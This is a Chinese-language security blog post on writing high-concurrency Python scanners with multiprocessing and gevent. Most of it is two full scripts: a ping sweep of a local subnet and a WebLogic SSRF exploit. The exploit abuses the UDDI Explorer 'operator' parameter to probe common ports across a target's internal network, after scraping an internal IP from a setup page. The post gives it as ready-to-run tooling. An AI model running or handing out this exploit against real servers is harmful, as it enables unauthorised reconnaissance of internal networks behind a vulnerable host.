编写高并发的扫描脚本
in 安全技巧 with 0 comment

编写高并发的扫描脚本

in 安全技巧 with 0 comment

最近打算在工作之余写点东西,第一个小目标是写一个高并发的web漏扫
虽然是造轮子,但是有些东西自己写了也是学了
尝试了一下用多线程+协成做高并发,效果很不错,故记录

0x01 协程,线程,进程

最近跟公司研发大哥讨教了一下如何构建高并发的扫描器,多进程+协成目前看来是最好的选择了
先说说三者区别

多线程的并发,是操作系统会在线程间不断地切换,达到一种伪并发,来回的切换会非常耗时
协程则是根据程序员的代码,需要什么时候切换,就什么时候切换,提高了性能,把切换的重任交给了程序员

greenlet是python的协程库,程序的来回切换逻辑很多,代码稍不注意就容易出错,这里gevent包装了greenlet,来帮我们自动去切换协程,那有人有疑问了,gevent是自动切换协程,那跟操作系统自动切换线程有什么区别呢?
gevent并不是在协程间不停的切换,而是碰到耗时的操作的时候会切换,比如http请求,popen执行命令,sleep的是时候完成切换,所以比多线程还是有很大的优势,这就比较符合我们的要求了。

0x02 多进程+协程编写扫描脚本

说写就写,这里用multiprocessing实现多进程,gevent实现协程,weblogic的ssrf探测内网脚本
主要代码如下

    def scan_has_res(self):
        pool= Pool(self.pool_num)
        each_process_url=len(self.ip_port_list)/self.process_num
        for x in range(self.process_num+1):
            if x == self.process_num  :
                url_list=self.ip_port_list[each_process_url*x:]
            else:
                url_list=self.ip_port_list[each_process_url*x:each_process_url*(x+1)]
            p=Process(target=self.process_start,args=(url_list,))
            p.start()


    def process_start(self , url_list):
        each_pool=Pool(self.pool_num)
        for url in url_list:
            each_pool.add(gevent.spawn(self.jundge_res , url))
        each_pool.join()



    def jundge_res(self , item):
        full_url=item[0]
        ip_port=item[1]
        try:
            res=requests.get(full_url , headers = self.headers , timeout=5)
            res_content=res.text
        except Exception,e:
            return 
        match=re.search(r'received\sa\sresponse', res_content , re.I)
        if match:
            print ip_port

起8个进程,每个进程起100个协程,这里使用了协程池

有的同学会发现,这里并没有看到对协程的调度呀,这里是使用了gevent的自动调度,加上这两句即可

from gevent import monkey
monkey.patch_all() 

猴子补丁实现了对协程的自动调度,我这里使用的patch_all(),是对所有的能识别的耗时操作都自动调度
当然也可以对某一种请求自动调度,如使用patch_socket()只对socket请求实现自动调度

但是monkey.patch_all() 无法对os.popen实现自动调度
不过gevent已经有包装的popen方法,可以自动调度,代码如下

from gevent.subprocess import Popen, PIPE
sub = Popen(cmd_line,stdout=PIPE, shell=True)

写了两小脚本,一个是ssrf扫描内网,一个是探测网段存活主机,比较简单就不放github上了
scan_inner_host.py

# -*- coding: utf-8 -*-
#author :chengable
#time   :2017.06.10
#usage:
#   python weblogic_ssrf.py --port 1 --url http://www.oday.com/xxx --res=1


import sys
import getopt
import requests
import re
import gevent
import multiprocessing
from multiprocessing import Process
from gevent.subprocess import Popen, PIPE
from gevent.pool import Pool
import time
from gevent import monkey
import os

monkey.patch_all()  

reload(sys)
sys.setdefaultencoding('utf-8')



class weblogic_ssrf:
    pool_num=100
    process_num=8
    inner_ip=''
    ip_list = []
    start_time = time.time()

    def usage(self):
        print '--inner_ip : input your inner_ip'
        print '--help : print help mesage'


    def get_opts(self):
        try:
            opts,args=getopt.getopt(sys.argv[1:],'',['help','inner_ip='])
        except Exception,e:
            print Exception,':',e
            exit(1)
        for opt_name,opt_value in opts:
            if opt_name == '--inner_ip':
                self.inner_ip=opt_value
            if opt_name == '--help':
                self.usage()
        if self.inner_ip:
            self.scan_engine()


    def scan_engine(self):
        self.get_ip_list()
        self.scan_res()


    def get_ip_list(self):
        inner_c_ip_pos = self.inner_ip.rfind('.')
        inner_c_ip=self.inner_ip[0 : int(inner_c_ip_pos)]
        for i in range (1,255):
            inner_ip_item=inner_c_ip+'.'+str(i)
            self.ip_list.append(inner_ip_item)


    def scan_res(self):
        pool= Pool(self.pool_num)
        each_process_url=len(self.ip_list)/self.process_num
        for x in range(self.process_num+1):
            if x == self.process_num  :
                url_list=self.ip_list[each_process_url*x:]
            else:
                url_list=self.ip_list[each_process_url*x:each_process_url*(x+1)]
            p=Process(target=self.process_start,args=(url_list,))
            p.start()


    def process_start(self , url_list):
        each_pool=Pool(self.pool_num)
        each_pool.map(self.jundge_res , url_list)
        each_pool.join()



    def jundge_res(self , ip):
        cmd=['ping',  '-c',  '1', '%s' % (ip),]
        cmd_line=' '.join(cmd)
        sub = Popen(cmd_line,stdout=PIPE, shell=True)
        out , error=sub.communicate()
        output=out.rstrip()
        if 'round-trip' in str(output):
            print ip


if __name__ == '__main__':
    weblogic_ssrf_engine=weblogic_ssrf()
    weblogic_ssrf_engine.get_opts()

weblogic_ssrf.py

# -*- coding: utf-8 -*-
#author :chengable
#time   :2017.06.10
#usage:
#   python weblogic_ssrf.py --port 1 --url http://www.oday.com/xxx --res=1


import sys
import getopt
import requests
import re
import gevent
import multiprocessing
from multiprocessing import Process
from gevent.pool import Pool
import time
from gevent import monkey

monkey.patch_all()  

reload(sys)
sys.setdefaultencoding('utf-8')



class weblogic_ssrf:
    pool_num=100

    process_num=8
    is_scan_port=0
    scan_url=''
    has_res=0
    inner_ip=''
    ssrf_payload="/uddiexplorer/SearchPublicRegistries.jsp?operator=%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"

    port_list=('21','22','23','53','80','135','139','443','445','1080','1433','1521','3306','3389','4899','8080','7001','8000',)
    ip_port_list = []

    headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'}

    def usage(self):
        print '--port : you want scan port ?  0 or 1'
        print '--url : input url you want scan'
        print '--res : weblogic ssrf has result ? 0 or 1'
        print '--help : print help mesage'


    def get_opts(self):
        try:
            opts,args=getopt.getopt(sys.argv[1:],'',['port=','url=','res=','help','inner_ip='])
        except Exception,e:
            print Exception,':',e
            exit(1)
        for opt_name,opt_value in opts:
            if opt_name == '--port':
                self.is_scan_port =opt_value
            if opt_name == '--inner_ip':
                self.inner_ip=opt_value
            if opt_name == '--url':
                self.scan_url=opt_value
            if opt_name == '--res':
                self.has_res=opt_value
            if opt_name == '--help':
                self.usage()
        if len(self.scan_url):
            self.scan_engine()


    def scan_engine(self):
        print 'is_scan_port: ',self.is_scan_port
        print 'scan_url: ',self.scan_url
        print 'has_res: ',self.has_res
        #判断用户是否传入需要扫描的网段,如果没有传入,则程序自动去取
        if len(self.inner_ip):
            pass
        else:
            self.inner_ip=self.judge_segment()

        if 'http://' in self.inner_ip:
            pass
        else:
            self.inner_ip='http://'+self.inner_ip

        self.get_ip_port_list()

        if self.has_res:
            self.scan_has_res()
        else:
            self.scan_no_res()


    def judge_segment(self):
        if 'http://' in self.scan_url:
            full_url=self.scan_url+'/uddiexplorer/SetupUDDIExplorer.jsp'
        else:
            full_url='http://'+self.scan_url+'/uddiexplorer/SetupUDDIExplorer.jsp'
        res=requests.get(full_url,headers=self.headers)
        content=res.text
        match_res=re.findall(r'(?<![\.\d])(?:25[0-5]\.|2[0-4]\d\.|[01]?\d\d?\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)(?![\.\d])',content)
        if match_res:
            return str(match_res[0])
        else:
            print 'no ip'


    def get_ip_port_list(self):
        if 'http://' in self.scan_url:
            full_url=self.scan_url+self.ssrf_payload
        else:
            full_url='http://'+self.scan_url+self.ssrf_payload

        inner_c_ip_pos = self.inner_ip.rfind('.')
        inner_c_ip=self.inner_ip[0 : int(inner_c_ip_pos)]
        for i in range (1,255):
            inner_ip_item=inner_c_ip+'.'+str(i)
            for p in self.port_list:
                ip_port=inner_ip_item+':'+p
                f_full_url=(full_url % ip_port , ip_port)
                self.ip_port_list.append(f_full_url)


    def scan_has_res(self):
        pool= Pool(self.pool_num)
        each_process_url=len(self.ip_port_list)/self.process_num
        for x in range(self.process_num+1):
            if x == self.process_num  :
                url_list=self.ip_port_list[each_process_url*x:]
            else:
                url_list=self.ip_port_list[each_process_url*x:each_process_url*(x+1)]
            p=Process(target=self.process_start,args=(url_list,))
            p.start()


    def process_start(self , url_list):
        each_pool=Pool(self.pool_num)
        for url in url_list:
            each_pool.add(gevent.spawn(self.jundge_res , url))
        each_pool.join()



    def jundge_res(self , item):
        full_url=item[0]
        ip_port=item[1]
        try:
            res=requests.get(full_url , headers = self.headers , timeout=5)
            res_content=res.text
        except Exception,e:
            return 
        match=re.search(r'received\sa\sresponse', res_content , re.I)
        if match:
            print ip_port

    def scan_no_res(self):
        pass

if __name__ == '__main__':
    
    weblogic_ssrf_engine=weblogic_ssrf()
    weblogic_ssrf_engine.get_opts()
Comments are closed.